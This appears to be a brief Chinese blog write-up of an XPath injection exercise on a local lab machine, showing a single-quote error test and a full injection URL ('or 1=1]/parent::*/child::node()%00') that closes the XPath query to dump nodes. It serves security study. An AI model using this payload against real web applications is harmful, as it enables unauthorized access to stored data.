我们打开靶机
选择“example 2”
观察页面
我们尝试修改name参数
http://192.168.20.157/xml/example2.php?name=hacker%27
添加单引号报错
存在闭合的可能性
网上大神payload
为
hacker'or 1=1]/parent::*/ child::node()%00完整的payload为
http://192.168.20.157/xml/example2.php?name=hacker%27or%201=1]/parent::*/%20child::node()%00结果
我们打开靶机
观察源码
上面的payload闭合了xpath参数
标签：XML,web,node,name,xml,EXP2,192.168,http,payload From： https://blog.51cto.com/apple0/6188293